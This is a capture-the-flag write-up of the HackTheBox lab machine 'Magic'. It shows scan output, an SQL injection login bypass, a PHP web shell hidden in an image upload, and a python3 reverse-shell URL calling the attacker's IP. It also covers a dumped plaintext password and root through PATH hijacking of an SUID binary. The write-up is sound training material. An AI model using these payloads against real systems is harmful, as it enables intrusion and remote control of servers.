
HackTheBox – Magic

S  ummary

• WebServer hosted on port 80 has an SQL injection vulnerability allowing users to bypass 
authentication.

• It is possible to upload an image with a malicious payload embedded into it, this ultimately 
allows Remote Code Execution.

• Used RCE to gain a reverse shell as the user www-data.
• Discovery of hard coded SQL database credentials.
• Used SQL credentials to dump SQL database, in there was a password.
• Used password to authenticate as the user – theseus.
• A binary – sysinfo has suid permissions set, investigating this program reveals that it runs 

several other binaries without calling their full paths, this can be abused by creating a 
malicious file with the same name as one of these binaries in an arbitrary directory, adding 
this directory to the path variable will cause the malicious file to be executed with suid 
permissions when sysinfo is run.
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R  econ

I began by adding 10.10.10.185 to /etc/hosts as magic.htb.
This was followed up by port scans, only revealing port 80 running a HTTP server and port 22 
running SSH.

# Nmap 7.80 scan initiated Sun Apr 26 12:21:56 2020 as: nmap -A -p22,80 -oN nmap.txt magic.htb
Nmap scan report for magic.htb (10.10.10.185)
Host is up (0.025s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera 
(Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.39 - 3.2 (92%), Linux 3.1
- 3.2 (92%), Linux 3.2 - 4.9 (92%), Linux 3.7 - 3.10 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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Running dirb against port 80 discovers a few interesting directories, most notably /images/uploads.

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: dirb.txt
START_TIME: Sun Apr 26 12:22:23 2020
URL_BASE: http://magic.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://magic.htb/ ----
==> DIRECTORY: http://magic.htb/assets/
==> DIRECTORY: http://magic.htb/images/
+ http://magic.htb/index.php (CODE:200|SIZE:4052)
+ http://magic.htb/server-status (CODE:403|SIZE:274)

---- Entering directory: http://magic.htb/assets/ ----
==> DIRECTORY: http://magic.htb/assets/css/
==> DIRECTORY: http://magic.htb/assets/js/

---- Entering directory: http://magic.htb/images/ ----
==> DIRECTORY: http://magic.htb/images/uploads/

---- Entering directory: http://magic.htb/assets/css/ ----
==> DIRECTORY: http://magic.htb/assets/css/images/

---- Entering directory: http://magic.htb/assets/js/ ----

---- Entering directory: http://magic.htb/images/uploads/ ----

---- Entering directory: http://magic.htb/assets/css/images/ ----
==> DIRECTORY: http://magic.htb/assets/css/images/ie/

---- Entering directory: http://magic.htb/assets/css/images/ie/ ----
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Viewing the website it appears to only be hosting images.

Navigating to the login page reveals a login form.
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This form can be easily bypassed with a simple SQL injection in both fields.

' or 'a'='a 

This presents an image upload form.
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Attempting to upload a .php file results in an error message, only png, jpg & jpeg files are allowed 
to be uploaded.

FootHold

I downloaded the following jpg file.
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I used exiftool to insert a comment into the file:

<?php echo “<pre>” system($_GET['cmd']); ?>

I then changed the file extension to .php.jpg

The double extension successfully bypasses the checks on the upload form.

Visiting /images/uploads/cat.php.png reveals the following page. I also issued a GET request in the 
URL - ?cmd=ifconfig – this successfully shows the output of the ifconfig command, confirming I 
now have RCE.
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I tried several commands to spawn a reverse shell, bash didn't work.

I tried pinging my machine to confirm that it was reachable, this confirms that both machines can 
reach each other.

Some light enumeration reveals that python3 is installed on the server.

I set up my listener and visited the following URL:

http://magic.htb/images/uploads/cat.php.jpg?cmd=python3%20-c%20%27import
%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.12%22,%
209001));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh
%22,%22-i%22]);%27

This successfully granted me a reverse shell as www-data.
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Privilege Escalation – User: Theseus

I upgraded my shell to tty using python. Searching through directories lead me to 
/var/www/Magic/db.php5 – this file contains login details for an SQL database.

9
@driggzzzz

Magic Writeup HTB



Using sqldump (sqldump -u theseus -p Magic) with the credentials form this file successfully 
dumps the database, including an admin password - Th3s3usW4sK1ng
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This password was reused for theseus' user account, using su allowed me to switch to the user.

Privilege Escalation - Root

Searching for files with SUID permissions nets a lot of the usual files alongside /bin/sysinfo – this 
is not a standard Linux binary.
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Running the program just outputs various pieces of system information, looking closer at how this 
is achieved by using the strings command we can see that it calls several other standard binaries 
including lshw, fdisk and free with no path.

As these are called with no path it is possible to perform a path hijacking attack. This is a relatively 
easy exploit, the steps are:

• Create a new file with the same name as one of the binaries that sysinfo calls – I used fdisk.
• Write a payload to it – I used a bash one liner for a reverse shell.
• Chmod +x to make the file executable
• Add the location of the malicious file to the start of the $PATH variable.
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I set up a listener and run the sysinfo binary once more, this time granting me a reverse shell as the 
root account.
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